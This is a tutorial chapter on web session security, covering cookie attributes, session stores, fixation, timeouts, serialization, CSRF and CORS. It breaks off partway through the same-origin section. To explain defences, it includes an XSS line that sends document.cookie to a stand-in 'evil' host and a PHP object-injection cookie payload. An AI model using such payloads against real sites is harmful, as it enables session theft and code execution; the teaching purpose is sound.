Web Sessions, Cookies, Serialization & CORS
"The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin." — MDN Web Docs, Same-origin policy
Summary: HTTP forgets every request the moment it is answered, so a "logged-in user" is an illusion built from one cookie that the browser attaches to every request. This chapter takes that illusion apart: what the cookie attributes really do, how a server-side session differs from a signed cookie or a JWT, how session data is serialized, how CSRF abuses the automatic cookie, and how CORS (a browser rule, not a server firewall) decides which pages may read your API. Focus: Set-Cookie attributes (Domain, Path, Expires, Max-Age, Secure, HttpOnly, SameSite, __Host-, __Secure-, Partitioned), cookie limits, third-party cookies and CHIPS, session ids and stores (Redis, database, file), fixation, rotation, idle and absolute timeouts, device lists, logout everywhere, stateless cookies, serialization, CSRF (synchronizer token, double submit, SameSite, Laravel request-forgery middleware, Sanctum SPA), the same-origin policy and CORS (preflight, credentials, Vary: Origin), subdomains and multi-tenant domains, remember-me, flash data. Learning goal: Given a login design, name every cookie attribute and say what breaks without it; choose between a server-side session, a signed cookie and a token; write the exact CORS and CSRF headers for a SPA on one origin talking to an API on another; and ship a Go and a Laravel 13 implementation that rotate the id on login, enforce idle and absolute timeouts and revoke every device.
This chapter owns the browser-and-HTTP side of identity: the cookie, the session record and the cross-origin rules. Credential checking, password hashing and MFA live in Authentication; the token format is in JWT Deep Dive; the HTTP wire protocol is in HTTP evolution; the TLS handshake that makes Secure meaningful is in TLS in practice. Redis itself is in Redis.
Page map
| If you are looking for | Go to |
|---|---|
| Everything in four tables | Everything in one minute |
| Why a stateless protocol needs sessions | Why it exists |
| RFC 6265, SameSite, CHIPS, CORS history | Where it comes from |
| What a cookie is and how the browser stores it | Cookie mechanics |
| Domain, Path, Max-Age, Expires | Scope and lifetime attributes |
| Secure and HttpOnly | Secure and HttpOnly |
| SameSite Lax, Strict, None | SameSite |
__Host- and __Secure- | Cookie prefixes |
| 4096 bytes, 50 cookies, 431 | Size and count limits |
| Embedded widgets, Partitioned | Third-party cookies and CHIPS |
| Session id, store, TTL | Server-side sessions |
| Attacker plants a session id | Fixation and rotation |
| Idle vs absolute expiry | Timeouts |
| Device list, kill other sessions | Devices and logout everywhere |
| Load balancer and sessions | Sticky vs shared store |
| Signed, encrypted cookie, JWT in a cookie | Stateless sessions |
| PHP serialize vs JSON | Serialization |
| Forged cross-site requests | CSRF |
| Why a page cannot read another site | Same-origin policy |
| OPTIONS, Allow-Origin, Max-Age | CORS and preflight |
| Credentials, wildcard, Vary | CORS with credentials |
.example.com and tenants | Subdomains and multi-tenant |
| "Keep me signed in" | Remember-me |
| One-shot messages | Flash data |
| Redis cluster, size, TTL | Session storage at scale |
| Knobs and errors | Mechanics |
| Code | Go, Laravel |
| Production failures | Solving the classic problems |
| Which design for which job | Choosing |
| Monolith to distributed system | In architecture |
| Lab | Lab |
Everything in one minute
The cookie attributes. Each one answers one question.
| Attribute | Question it answers | Safe default | Without it |
|---|---|---|---|
Secure | May this cookie travel over plain HTTP? | present | A network attacker reads the session id |
HttpOnly | May JavaScript read it? | present | XSS steals the session |
SameSite | Is it sent on cross-site requests? | Lax | CSRF on any state-changing request |
Path | Which URL paths get it? | / | Cookie scattered by path; __Host- impossible |
Domain | Which hosts get it? | absent (host-only) | Every subdomain receives and can overwrite it |
Max-Age / Expires | When does the browser drop it? | Max-Age equal to the absolute timeout | Session cookie that lives until the browser closes |
Partitioned | Separate jar per top-level site? | only for embedded widgets | Third-party cookie is blocked or tracks across sites |
| Name prefix | Does the browser enforce the above? | __Host- | A subdomain or HTTP page can plant the cookie |
Where session state lives.
| Design | State lives in | Revocation | Size limit | Typical product |
|---|---|---|---|---|
| Server-side session | Redis, PostgreSQL, files | Delete the record: instant | None (id only in cookie) | Laravel redis / database driver, PHP sessions |
| Signed cookie | The cookie, readable | Wait for expiry or rotate the key | About 4 KB | Go HMAC cookie, Flask |
| Encrypted cookie | The cookie, opaque | Wait for expiry or rotate the key | About 4 KB | Laravel cookie driver, gorilla/securecookie |
| JWT in a cookie | The cookie, signed token | Denylist or short life + refresh | About 4 KB | API gateways, Sanctum alternatives |
Which header does what.
| Concern | Request header | Response header | Who enforces |
|---|---|---|---|
| Identity | Cookie: sid=... | Set-Cookie: sid=... | Server |
| CSRF origin signal | Origin, Sec-Fetch-Site | none | Server |
| CSRF token | X-CSRF-TOKEN, X-XSRF-TOKEN | Set-Cookie: XSRF-TOKEN=... | Server |
| CORS simple | Origin | Access-Control-Allow-Origin | Browser |
| CORS preflight | Access-Control-Request-Method, Access-Control-Request-Headers | Access-Control-Allow-Methods, -Allow-Headers, -Max-Age | Browser |
| CORS credentials | credentials: "include" in the page | Access-Control-Allow-Credentials: true | Browser |
The five rules.
| Rule | One line |
|---|---|
| 1 | The session id is random (at least 64 bits of entropy; this chapter uses 256), never derived from the user |
| 2 | New id on every privilege change (login, password change) |
| 3 | Cookie: __Host- + Secure + HttpOnly + SameSite=Lax + Max-Age |
| 4 | State-changing requests need an origin check and a token |
| 5 | CORS: exact origin list, Vary: Origin, never * with credentials |
Why it exists
HTTP is stateless: the server treats each request as a stranger. Applications need "this is still Ana". The only channel a browser adds to every request without JavaScript is the Cookie header, so a cookie carries either the whole state (client-side) or a key into a record on the server (server-side).
| Choice | Gain | Cost |
|---|---|---|
| Server-side session | Instant revocation, small cookie, state is private | A shared store to run and scale |
| Client-side (signed or encrypted) | No store, any instance can serve | No revocation, 4 KB cap, key management |
| Automatic cookie | Works without any JavaScript | The browser also sends it when an attacker's page triggers the request (CSRF) |
| Strict browser isolation | Pages cannot read each other | Legitimate cross-origin APIs need an opt-in (CORS) |
An everyday picture. A cookie is a coat-check ticket. The ticket number means nothing alone; the cloakroom (the session store) knows whose coat it is. A signed cookie is the coat itself with a sealed label: no cloakroom needed, but you cannot call back a coat already handed out. CSRF is someone slipping your ticket into a form you did not mean to submit; CORS is the rule about which other customers may look at what the cloakroom hands back.
Three common misunderstandings, up front
- "CORS protects my API." It does not: CORS only tells the browser whether a page from another origin may read a response.
curlignores it, and a simple cross-origin POST is still sent and still executed by the server. - "HttpOnly stops XSS." It stops script from reading the cookie; the script can still make authenticated requests as the user.
- "JWT means no session." A JWT in a cookie is still a session; it just moved the state into the token and gave up revocation.
Where it comes from
- RFC 6265 (2011) standardised cookies as "HTTP State Management Mechanism" and set a floor for what user agents should support: at least 4096 bytes per cookie, 50 cookies per domain and 3000 cookies in total.
- draft-ietf-httpbis-rfc6265bis (the active revision) adds
SameSite, the__Secure-and__Host-prefixes and says an unknown or missing SameSite is treated like Lax by user agents that implement default enforcement; it also tells parsers to ignore a Set-Cookie whose name plus value exceeds 4096 octets. - Fetch Standard defines CORS (the CORS protocol, safelisted headers, the CORS-preflight fetch and its cache). MDN's guide explains it for developers.
- CHIPS (Cookies Having Independent Partitioned State) added the
Partitionedattribute for embedded third-party contexts. - Laravel 13 replaced the old
VerifyCsrfTokenmiddleware name withPreventRequestForgery, which checksSec-Fetch-Sitefirst and falls back to the token; theHandleCorsmiddleware is global.
The concept catalogue
Cookie mechanics Must-know
In plain words: The server sends a note (Set-Cookie); the browser files it under the site and attaches it to later requests to that site (Cookie).
Common misunderstanding: "The server can see the cookie's expiry and flags." It cannot. The request carries only name=value pairs; attributes exist only in the browser's cookie jar.
Definition: A cookie is a name, a value and attributes stored by the user agent. The server sets it with a Set-Cookie response header (one header per cookie) and the browser returns matching cookies in one Cookie request header, joined by ; .
1 browser -> server POST /login (email, password)
2 server -> browser 204 Set-Cookie: __Host-sid=Zx3k9...; Max-Age=28800; Path=/; Secure; HttpOnly; SameSite=Lax
3 browser stores the cookie in its jar, keyed by (host, name, path)
4 browser -> server GET /api/me Cookie: __Host-sid=Zx3k9...
5 server looks up the session record by the id, answers as Ana
6 browser -> evil GET https://evil.example/ (no cookie: different site)Real scenario: A shop sets a language cookie for 1 year and a session cookie for 8 hours; both appear in the Cookie header of every request, including requests for images, which is why cookies belong on a separate cookieless domain only when they are large and the site is huge.
| Product | How it sets the session cookie |
|---|---|
| Laravel 13 | StartSession middleware; cookie named by session.cookie; value is the encrypted session id |
| PHP (native) | session_start(); PHPSESSID by default; session.cookie_samesite ini |
| Go | http.SetCookie(w, &http.Cookie{...}); the struct has Secure, HttpOnly, SameSite, Partitioned fields |
| Express / Rails / Django | Middleware with the same attributes under different option names |
Fix / how to use it: one session cookie, small, with every security attribute; see the Go example and the Laravel config.
Scope and lifetime attributes: Domain, Path, Expires, Max-Age Must-know
In plain words: Path and Domain decide who receives the cookie; Max-Age and Expires decide when it dies.
Common misunderstanding: "Setting Domain=example.com is how you make the cookie work on my site." Leaving Domain off already works for the exact host; adding it makes the cookie go to every subdomain, including the forgotten staging host and any attacker-controlled one.
Definition: Without Domain the cookie is host-only. With Domain=example.com it is sent to example.com and all its subdomains; the browser rejects a Domain that is a public suffix. Path=/ sends it for every path (a narrower Path is a convenience, not a security boundary, because other paths of the same origin can read it through the DOM). Max-Age is seconds from now; Expires is a date from the server's clock. MDN: "If both Expires and Max-Age are set, Max-Age has precedence", and a cookie with neither is a session cookie removed when the browser shuts down (modern browsers that restore tabs may keep it).
1 Set-Cookie: sid=A; Max-Age=3600 -> dies in one hour, even if the client clock is wrong
2 Set-Cookie: sid=A; Expires=Wed, 21 Oct 2026 07:28:00 GMT -> depends on the server clock
3 Set-Cookie: sid=A; Max-Age=0 -> deletes the cookie now (Path and Domain must match)
4 Set-Cookie: sid=A -> session cookie, no expiry attributeReal scenario: A logout that sets Max-Age=0 without the original Path leaves the old cookie alive; a marketing site sets Domain=.example.com and the tracking cookie is now sent to admin.example.com too.
| Attribute | Absent | Present |
|---|---|---|
Domain | Host-only | Host and all subdomains |
Path | Default path of the request URL | That path prefix |
Max-Age | Session cookie | Lifetime in seconds, wins over Expires |
Expires | Session cookie | Absolute date, server-clock based |
Fix / how to use it: omit Domain, set Path=/, always set Max-Age to the absolute timeout and delete with identical Path and Domain.
Secure and HttpOnly Must-know
In plain words: Secure keeps the cookie off plain HTTP; HttpOnly hides it from JavaScript.
Common misunderstanding: "HTTPS on the login page is enough." If any page on the host is reachable over HTTP, a network attacker can read a non-Secure cookie from that request. Secure makes the browser refuse to send it over HTTP at all.
Definition: Secure cookies are sent only over a secure channel (HTTPS; browsers treat localhost as secure). HttpOnly cookies are not exposed to document.cookie, cookieStore or XMLHttpRequest headers.
1 attacker injects <script>fetch('//evil/'+document.cookie)</script>
2 without HttpOnly: the session id is sent to evil.example, replay from anywhere
3 with HttpOnly: document.cookie does not contain it; attacker must run requests inside the page
4 with Secure: a downgrade to http://shop.example never carries the cookieReal scenario: A support widget with an XSS bug exposes every non-HttpOnly cookie; with HttpOnly the attacker is limited to the lifetime of the open tab.
| Combination | Verdict |
|---|---|
HttpOnly; Secure | Session cookie default |
Secure without HttpOnly | Only for a CSRF token cookie that JavaScript must copy into a header |
| Neither | Never for credentials |
Fix / how to use it: Go http.Cookie{Secure: true, HttpOnly: true}; Laravel 'secure' => true, 'http_only' => true in config/session.php.
SameSite: Lax, Strict, None Must-know
In plain words: SameSite tells the browser whether to attach the cookie when the request is started by another site.
Common misunderstanding: "SameSite is the same as same-origin." Same-site compares the registrable domain (app.example.com and api.example.com are same-site, different origin), so it does not stop a request from a sibling subdomain, and it is not a replacement for a CSRF token.
Definition: Strict: sent only for same-site requests. Lax: also sent on cross-site top-level navigations that use a safe method (clicking a link). None: sent always, and requires Secure. If the attribute is absent or unknown, rfc6265bis defines an enforcement equivalent to Lax; MDN notes that "Some browsers use Lax as the default value if SameSite is not specified", so write the attribute explicitly.
1 user is logged in on bank.example (cookie SameSite=Lax)
2 user opens evil.example, which auto-submits <form method=POST action=https://bank.example/transfer>
3 browser: cross-site POST -> Lax cookie is NOT attached
4 bank sees an anonymous request -> 401 / 403, transfer fails
5 user clicks a link from mail to https://bank.example/account (top-level GET) -> Lax cookie IS attached| Value | Cross-site iframe/XHR/POST | Cross-site link click (GET) | Use for |
|---|---|---|---|
Strict | not sent | not sent (user appears logged out on arrival) | Banking, admin |
Lax | not sent | sent | Default session cookie |
None; Secure | sent | sent | Embedded widgets, SSO iframes, cross-site APIs |
Real scenario: An OAuth provider redirects back to app.example with a POST (form_post response mode): a Strict or Lax session cookie is missing on that first request, so the callback must carry its own state, or the cookie must be None.
Fix / how to use it: Lax for sessions; None; Secure only when a cross-site context truly needs the cookie; keep a CSRF token anyway (see CSRF).
Cookie prefixes: __Host- and __Secure- Important
In plain words: A name prefix is a promise the browser enforces: "this cookie was set securely and cannot be shadowed".
Common misunderstanding: "Prefixes are only a naming convention." Supporting browsers reject the cookie if the attributes do not satisfy the prefix; MDN also warns "You cannot count on these additional assurances on browsers that don't support cookie prefixes", where prefixed cookies are simply accepted.
Definition: Two prefixes exist: the __Host- prefix (strict) and the __Secure- prefix (relaxed). __Secure- requires Secure and a secure origin. __Host- requires Secure, Path=/ and no Domain, so the cookie is bound to one host and a sibling subdomain or an HTTP page cannot overwrite it. __Host-Http- and __Http- also demand HttpOnly.
| Name | Needs Secure | Needs Path=/ | Forbids Domain | Needs HttpOnly |
|---|---|---|---|---|
__Secure-x | yes | no | no | no |
__Host-x | yes | yes | yes | no |
__Host-Http-x | yes | yes | yes | yes |
1 Set-Cookie: __Host-sid=1; Secure; Path=/ -> accepted
2 Set-Cookie: __Host-sid=1; Secure; Path=/; Domain=a.com -> rejected (Domain present)
3 Set-Cookie: __Host-sid=1; Path=/ -> rejected (not Secure)
4 Set-Cookie: __Host-sid=1; Secure; Path=/admin -> rejected (Path is not /)Real scenario: A takeover of blog.example.com can no longer plant a session or CSRF cookie on app.example.com when both use __Host-.
Fix / how to use it: name the Laravel cookie __Host-app_session and the Go cookie __Host-sid; this rules out a Domain attribute, so it cannot be shared between subdomains (see subdomains).
Size and count limits Important
In plain words: A cookie is small, the whole Cookie header is sent on every request, and servers refuse headers that grow too big.
Common misunderstanding: "I can keep the user profile in a cookie." The limit applies to name plus value (about 4096 bytes), and every byte is uploaded with every request to that host, including images and API calls.
Definition: The cookie size limit is about 4 KB. RFC 6265 asks user agents to support at least 4096 bytes per cookie, 50 cookies per domain and 3000 total; rfc6265bis tells parsers to ignore a cookie whose name plus value exceeds 4096 octets. MDN: browsers are "generally limited to a maximum number of cookies per domain (varies by browser, generally in the hundreds), and a maximum size per cookie (usually 4KB)". Servers add their own header limits (NGINX large_client_header_buffers, Apache LimitRequestFieldSize, HTTP/2 SETTINGS_MAX_HEADER_LIST_SIZE), answered with 400 or 431.
1 login adds sid (50 B), csrf (60 B), prefs (300 B), analytics (4 x 200 B)
2 Cookie header is now about 1.2 KB, uploaded on every request, including /logo.png
3 a signed-cookie session grows with each feature: 3.9 KB, then 4.2 KB
4 browser silently drops the 4.2 KB Set-Cookie -> user appears logged out at random| Limit | Value | Source |
|---|---|---|
| Per cookie (name + value) | 4096 octets | RFC 6265, rfc6265bis |
| Cookies per domain | at least 50 | RFC 6265 |
| Cookies total | at least 3000 | RFC 6265 |
| Request header size | server setting, 400 or 431 when exceeded | NGINX, Apache, Envoy docs |
Real scenario: Several microservices on .example.com each add a cookie; after a release the header passes the load balancer limit and a few users get "400 Request Header Or Cookie Too Large".
Fix / how to use it: keep one id cookie and move state to the server; the Go codec returns ErrTooBig above 3800 bytes so the problem appears in tests, not at 3 a.m.
Third-party cookies and CHIPS (partitioned cookies) Important
In plain words: A cookie set by an embedded widget from another site is "third-party"; browsers increasingly block or partition them to stop cross-site tracking.
Common misunderstanding: "SameSite=None makes an embedded cookie work everywhere." It only permits sending; browsers that block third-party cookies still refuse it, and the Chrome CHIPS page says CHIPS, the Storage Access API and Related Website Sets "are the only way to read and write cookies from cross-site contexts, such as iframes, when third-party cookies are blocked".
Definition: Partitioned (CHIPS) stores the cookie in a separate jar keyed by the top-level site, so the widget on site A cannot read the cookie it set on site B. It requires Secure; MDN recommends the __Host- prefix: Set-Cookie: __Host-name=value; SameSite=None; Secure; Path=/; Partitioned.
1 chat.example is embedded on shop-a.com and shop-b.com
2 unpartitioned: cookie set on shop-a is also sent on shop-b -> chat.example tracks the user across sites
3 partitioned: jar (shop-a.com, chat.example) is separate from (shop-b.com, chat.example)
4 user visits chat.example directly: neither partitioned cookie is sent| Mechanism | Scope | Use |
|---|---|---|
Unpartitioned SameSite=None; Secure | Shared across all embedders | Increasingly blocked |
Partitioned (CHIPS) | One jar per top-level site | Embedded chat, payment iframe, per-site state |
| Storage Access API | User grants access after interaction | Sign-in iframes |
| Own first-party cookie via redirect or same site | Normal cookie | SSO design: avoid iframes |
Real scenario: A payment iframe keeps its session across reloads on one merchant using a partitioned cookie; it cannot recognise the same user on another merchant, by design.
Fix / how to use it: Go http.Cookie{Partitioned: true, Secure: true, SameSite: http.SameSiteNoneMode}; Laravel 13 config/session.php has 'partitioned' => true (verify against the docs of your version).
Server-side sessions: the id and the store Must-know
In plain words: The cookie holds a random ticket number; the server keeps the data under that number.
Common misunderstanding: "A longer or fancier id is more secure." What matters is unpredictability. OWASP: "Session identifiers must have at least 64 bits of entropy" and must come from a CSPRNG; with 64 bits an attacker would expect about "585 years" at 10,000 guesses per second against 100,000 sessions. This chapter uses 256 bits (32 random bytes, base64url).
Definition: A session is a server-side record keyed by an id: user id, created and last-seen times, device, free-form data. The store must expire records itself, support lookup by user (device list) and be shared by every app instance.
1 login: id = base64url(random 32 bytes); key = sha256(id) (cookie holds id, store holds key)
2 store: SET sess:<key> {user:42, created, last_seen} EX 1800
3 index: SADD user_sessions:42 <key>
4 every request: GET sess:<key>; EXPIRE sess:<key> 1800 (sliding idle window)
5 logout: DEL sess:<key>; SREM user_sessions:42 <key>| Store | Expiry | Device list | Scale | Notes |
|---|---|---|---|---|
Redis (Laravel redis, Go RedisStore) | native EX TTL, idle slide with EXPIRE | a set per user | very fast, cluster or replica | Data lost on a primary failover without persistence |
PostgreSQL / MySQL (Laravel database, default in 13) | last_activity column + garbage collection | user_id index | one extra query per request | Durable, easy to query |
Files (Laravel file, PHP default) | file mtime + GC | scan | single host only | Needs sticky sessions |
Memcached (Laravel memcached) | native TTL | none | fast, volatile | No per-user index |
DynamoDB (Laravel dynamodb) | TTL attribute | GSI on user | serverless | Eventually consistent reads by default |
Cookie (Laravel cookie) | in the cookie | impossible | no store | See stateless |
Real scenario: A Redis session is just a key with a TTL, so expiry costs nothing. A dump of the session table is leaked: because the store keys are sha256(id), the dump contains no usable cookie values.
Fix / how to use it: session.go defines the Store interface, redis.go the Redis implementation; Laravel sets SESSION_DRIVER=redis. Encrypt backups and restrict network access to the store.
-- Sessions in PostgreSQL (the shape of Laravel's database driver table)
CREATE TABLE sessions (
id varchar(255) PRIMARY KEY,
user_id bigint NULL,
ip_address varchar(45) NULL,
user_agent text NULL,
payload text NOT NULL,
last_activity integer NOT NULL
);
CREATE INDEX sessions_user_id_index ON sessions (user_id);
DELETE FROM sessions WHERE last_activity < extract(epoch FROM now())::int - 30 * 60;Session fixation and rotation Must-know
In plain words: Fixation means the attacker gives the victim a session id first, waits for the victim to log in with it, and then uses the same id.
Common misunderstanding: "Random ids make fixation impossible." The id was random, but the application kept it across the login. The defence is to issue a new id when the privilege level changes, and to refuse ids that arrive in a URL.
Definition: Session rotation (regeneration) creates a new id for the same session data and invalidates the old one. OWASP lists renewing the id after any privilege level change and preferring cookies over URL parameters ("avoid accepting it as part of a defensive strategy to stop session fixation").
1 attacker -> victim link to https://app.example/?sid=ATTACKER123 (or plants a cookie from a sibling subdomain)
2 victim -> app logs in; app keeps sid=ATTACKER123 and marks it authenticated
3 attacker -> app GET /account Cookie: sid=ATTACKER123 -> sees the victim's account
--- fixed ---
2' app creates a NEW id on login and deletes ATTACKER123
3' attacker's request is anonymous| Event | Rotate the id? |
|---|---|
| Login | yes, always |
| Logout | destroy the record and cookie |
| Password, email or MFA change | yes, and revoke other sessions |
| Role or tenant switch | yes |
| Every request | no (breaks parallel requests; use a renewal timeout if required) |
Real scenario: A SPA fires four parallel requests at login time; rotating on every request would invalidate three of them, so rotate on privilege changes only.
Fix / how to use it: Go Manager.Login always creates a new id and deletes any client-supplied one; Manager.Rotate handles later changes. Laravel: $request->session()->regenerate() after Auth::attempt, invalidate() on logout.
Idle and absolute timeouts Must-know
In plain words: The idle timeout logs out someone who walked away; the absolute timeout ends even an active session eventually.
Common misunderstanding: "A sliding expiry is enough." A stolen cookie used every few minutes slides forever. OWASP: "Common idle timeouts ranges are 2-5 minutes for high-value applications and 15-30 minutes for low risk applications", and an absolute timeout "between 4 and 8 hours" for a working-day application.
Definition: Idle timeout: time since the last request, enforced by the store TTL refreshed on each request. Absolute timeout: time since login, never extended. The cookie Max-Age should equal the absolute timeout.
1 09:00 login idle 30 min, absolute 8 h
2 09:20 request idle window reset to 09:50
3 09:55 request rejected? no: 35 min since 09:20 > 30 -> session expired, 401
--- attacker with a stolen cookie ---
4 every 20 min idle never fires
5 17:00 absolute timeout fires; cookie dead| Setting | Laravel 13 | PHP | Go (this chapter) | Redis |
|---|---|---|---|---|
| Idle | lifetime minutes (SESSION_LIFETIME) | session.gc_maxlifetime | Config.Idle | EXPIRE refreshed per request |
| Absolute | custom (store created_at) | custom | Config.Absolute | custom check |
| Browser-close | expire_on_close | session.cookie_lifetime=0 | MaxAge: 0 | n/a |
Real scenario: A kiosk app with a 5 minute idle timeout and a 4 hour absolute limit; the administrator console uses 15 minutes and re-authentication for sensitive actions.
Fix / how to use it: the Go Manager.Get computes ttl = min(Idle, Absolute - age) so the store never outlives the absolute limit.
Concurrent sessions, device lists and logout everywhere Important
In plain words: One user can be signed in on a laptop, a phone and a hotel computer; the user (and support) must see them and be able to cut them off.
Common misunderstanding: "Changing the password logs out everyone." Not unless the application revokes the other sessions; a stateless token stays valid until it expires.
Definition: Concurrent-session control needs an index from user to sessions. Revocation deletes records; "logout everywhere" deletes all of them, optionally except the current one.
1 Ana logs in on laptop -> sess:H1, user_sessions:42 = {H1}
2 Ana logs in on phone -> sess:H2, user_sessions:42 = {H1, H2}
3 Ana changes password -> DEL sess:H1 sess:H2 (all) ; new session for the current device only
4 stolen laptop cookie -> GET sess:H1 -> nil -> 401| Capability | Server-side store | Stateless cookie / JWT |
|---|---|---|
| Device list | query by user | needs a separate token table |
| Revoke one device | delete a key | denylist by jti |
| Logout everywhere | delete the user's keys | bump token_version on the user and check on every request |
| Limit to N devices | evict the oldest key | needs the same table |
Real scenario: After an account takeover report, support presses "revoke all sessions": one DeleteByUser call in Go or Auth::logoutOtherDevices($password) in Laravel (requires the auth.session middleware, AuthenticateSession).
Fix / how to use it: Go Manager.Devices and LogoutEverywhere; Laravel DevicesController reading the sessions table.
SELECT id, ip_address, user_agent, to_timestamp(last_activity) AS last_active
FROM sessions WHERE user_id = 42 ORDER BY last_activity DESC;
DELETE FROM sessions WHERE user_id = 42 AND id <> 'CURRENT_SESSION_ID';Sticky sessions vs a shared store Important
In plain words: If every instance keeps sessions in its own memory or disk, the load balancer must send the user to the same instance every time ("sticky"); a shared store removes that constraint.
Common misunderstanding: "Sticky sessions are fine because it works in staging." They fail on deploys, autoscaling and instance failure: the instance dies and every session on it dies with it.
Definition: Sticky (affinity) routing pins a client to a backend by a cookie or by IP hash (NGINX ip_hash, HAProxy cookie SERVERID insert, AWS ALB stickiness cookie AWSALB). A shared store (Redis, database) makes instances interchangeable.
1 LB -> app-1: login, session in app-1 memory
2 LB -> app-2: next request, no session -> 401 (round robin without stickiness)
3 with stickiness: app-1 restarts for a deploy -> all its users logged out
4 with shared Redis: any instance serves any request; deploys are invisible| Approach | Failure of one instance | Scale out | Cost |
|---|---|---|---|
| In-memory, no stickiness | logged out randomly | broken | none |
| In-memory + stickiness | its users are logged out | uneven load | none |
| Shared store (Redis / DB) | none | linear | one network hop per request |
| Stateless cookie | none | linear | cookie size, no revocation |
Real scenario: A team moves from file sessions to Redis before adding the second web server; the same week a rolling deploy no longer logs anyone out.
Fix / how to use it: shared store as the default; keep stickiness only for protocols that need it (WebSocket upgrades), see Load Balancing.
Stateless sessions: signed and encrypted cookies, JWT in a cookie Must-know
In plain words: Put the state in the cookie, protect it so the client cannot change it, and let any server verify it without a database.
Common misunderstanding: "A signed cookie is encrypted." Signing (HMAC) only prevents tampering; the user and any script that can read it can see the content. Encryption (AES-GCM) hides it. Neither lets you recall an issued cookie.
Definition: Signed cookie: payload.mac, with mac = HMAC-SHA256(key, name || payload). Encrypted (sealed): AEAD such as AES-256-GCM with the cookie name as additional data. Laravel's cookie session driver and its EncryptCookies middleware use AES with a MAC (the Laravel docs say values use "AES-256 and AES-128 encryption" and "are signed using a message authentication code"); gorilla/securecookie uses HMAC and optional AES. A JWT cookie (a JWT in an HttpOnly cookie) is the same idea with a standard format (see JWT Deep Dive).
1 server: payload = {"user":42,"exp":1767225600}
2 cookie = b64(payload) . b64(HMAC(key, "sid" || b64(payload)))
3 request: server recomputes the MAC with the same key and compares in constant time
4 tampered payload -> MAC mismatch -> reject
5 key rotation: new key signs, old keys still verify until old cookies expire| Property | Server-side id | Signed cookie | Encrypted cookie | JWT in cookie |
|---|---|---|---|---|
| Revoke now | yes | no | no | no (denylist) |
| Content visible to the user | no (id only) | yes | no | yes (signed only) |
| Size | tiny | grows with data | grows with data | grows with claims |
| Server lookup per request | yes | no | no | no |
| Key compromise | none (no key) | forge any session | forge and read | forge any token |
Real scenario: Preferences (language, theme) and a CSRF seed in a signed cookie; the authenticated session stays server-side so that "logout everywhere" works.
Fix / how to use it: Go cookiecodec signs or seals JSON, binds the value to the cookie name, expires it and verifies with a list of keys; Laravel SignedCookie mirrors it. Use a token for service-to-service calls, a session for browsers; see Authentication.
Serialization of session data Important
In plain words: The session store holds bytes, so the data must be turned into bytes and back; the format decides how dangerous a tampered record is.
Common misunderstanding: "Serialization format is an internal detail." A language-native format can instantiate objects on decode (PHP unserialize, Java serialization, Python pickle), so an attacker who can modify a session or cookie payload may reach arbitrary code paths ("object injection").
Definition: PHP's session.serialize_handler chooses the format: php (the default), php_serialize (a plain serialize() of $_SESSION), or php_binary. Laravel serializes the session payload itself, encrypts it when session.encrypt is true, and tells custom drivers they "should not perform any serialization". For data you control the schema of, use JSON.
| Format | Types | Size | Safe to decode untrusted input | Used by |
|---|---|---|---|---|
PHP serialize | objects, references | medium | no (object injection) | PHP sessions, older Laravel payloads |
| JSON | strings, numbers, arrays, maps | medium | yes (no classes) | Go cookiecodec, JWT |
| MessagePack / CBOR | binary JSON-like | small | yes | compact tokens |
Go encoding/gob | Go types | small | risky across trust boundaries | gorilla/securecookie default |
1 attacker edits cookie payload: O:8:"Exploit":1:{s:3:"cmd";s:6:"whoami";}
2 server decrypts with a leaked key (or reads an unauthenticated session file) and calls unserialize()
3 class autoloading + magic methods run -> code execution
4 with JSON + HMAC: the edit fails the MAC; even if it passed, JSON cannot create objectsReal scenario: An application stored $user (an Eloquent model) in the session; every deploy that renamed a class broke old sessions; storing only the user id fixed both the compatibility and the security problem.
Fix / how to use it: store ids and small scalars, never objects; version the payload ("v":1); authenticate before decoding.
CSRF: cross-site request forgery Must-know
In plain words: The browser attaches your cookie to any request to that site, even one an evil page triggered; CSRF is making you send a request you never intended.
Common misunderstanding: "My API only accepts JSON so CSRF cannot happen." A form can send text/plain bodies that some servers still parse as JSON, and CORS does not stop the request from being sent. Check Origin, require a custom header or token, and never change state on GET.
Definition: CSRF abuses ambient authority (cookies, HTTP auth). Defences, strongest first: reject requests whose Sec-Fetch-Site or Origin is not yours; a synchronizer token (random per session, stored server-side, sent in a hidden field or header); a signed double-submit cookie bound to the session; SameSite cookies as defence in depth. OWASP recommends: "Stateful software should use the synchronizer token pattern; Stateless software should use double submit cookies", and calls the signed variant tied to the session id "RECOMMENDED"; the naive double submit "is bypassable by an attacker who can write cookies on the target domain".
1 user logged in to bank.example (cookie)
2 user opens evil.example with a hidden form to POST bank.example/transfer
3 browser sends cookie + Sec-Fetch-Site: cross-site + Origin: https://evil.example
4 layer 1 SameSite=Lax: cookie not attached on cross-site POST
5 layer 2 origin check: Sec-Fetch-Site cross-site -> 403
6 layer 3 token: the form has no X-CSRF-Token (attacker cannot read it) -> 403 / 419| Defence | Stateful? | Stops sibling-subdomain cookie injection? | Needs JavaScript? | Laravel 13 | Go (this chapter) |
|---|---|---|---|---|---|
Sec-Fetch-Site / Origin check | no | partly (same-site allowed only if configured) | no | PreventRequestForgery, allowSameSite | csrf.Protector.originOK; stdlib http.CrossOriginProtection (Go 1.25+) |
| Synchronizer token | yes, in the session | yes | no (hidden field) | @csrf, csrf_token(), _token field | token inside Session.Data |
| Signed double submit | no | yes if bound to the session | yes (copy cookie to header) | XSRF-TOKEN cookie → X-XSRF-TOKEN header | __Host-csrf + X-CSRF-Token HMAC |
| Naive double submit | no | no | yes | n/a | not implemented on purpose |
SameSite=Lax | no | no (same-site) | no | same_site in config/session.php | http.SameSiteLaxMode |
| Custom header only | no | n/a | yes | n/a | rely on CORS preflight |
Real scenario: Laravel's docs show the attack: a page with a form posting to /user/email to change an address; without the token check the victim's email is changed after one visit. Laravel responds 419 to a token mismatch and 403 in origin-only mode.
Fix / how to use it: Laravel $middleware->preventRequestForgery(allowSameSite: true, except: ['webhooks/*']); Go csrf.Protector. Exclude webhook endpoints only if they verify a signature instead.
Same-origin policy Must-know
In plain words: A page may freely talk to its own origin and may only send, not read, to others.
Common misunderstanding: "Same-origin means same domain." An origin is scheme + host + port: https://app.example.com, http://app.example.com and https://app.example.com:8443 are three origins. "Same-site" is the looser registrable-domain comparison used by cookies.
Definition: The browser lets a page send requests to any origin (images, forms, fetch) but blocks scripts from reading cross-origin responses unless the target opts in with CORS. Embedding (img, script, iframe) is allowed; reading the content is not.
| URL | Compared with https://app.example.com/a | Same origin | Same site |
|---|---|---|---|
https://app.example.com/b | different path | yes | yes |
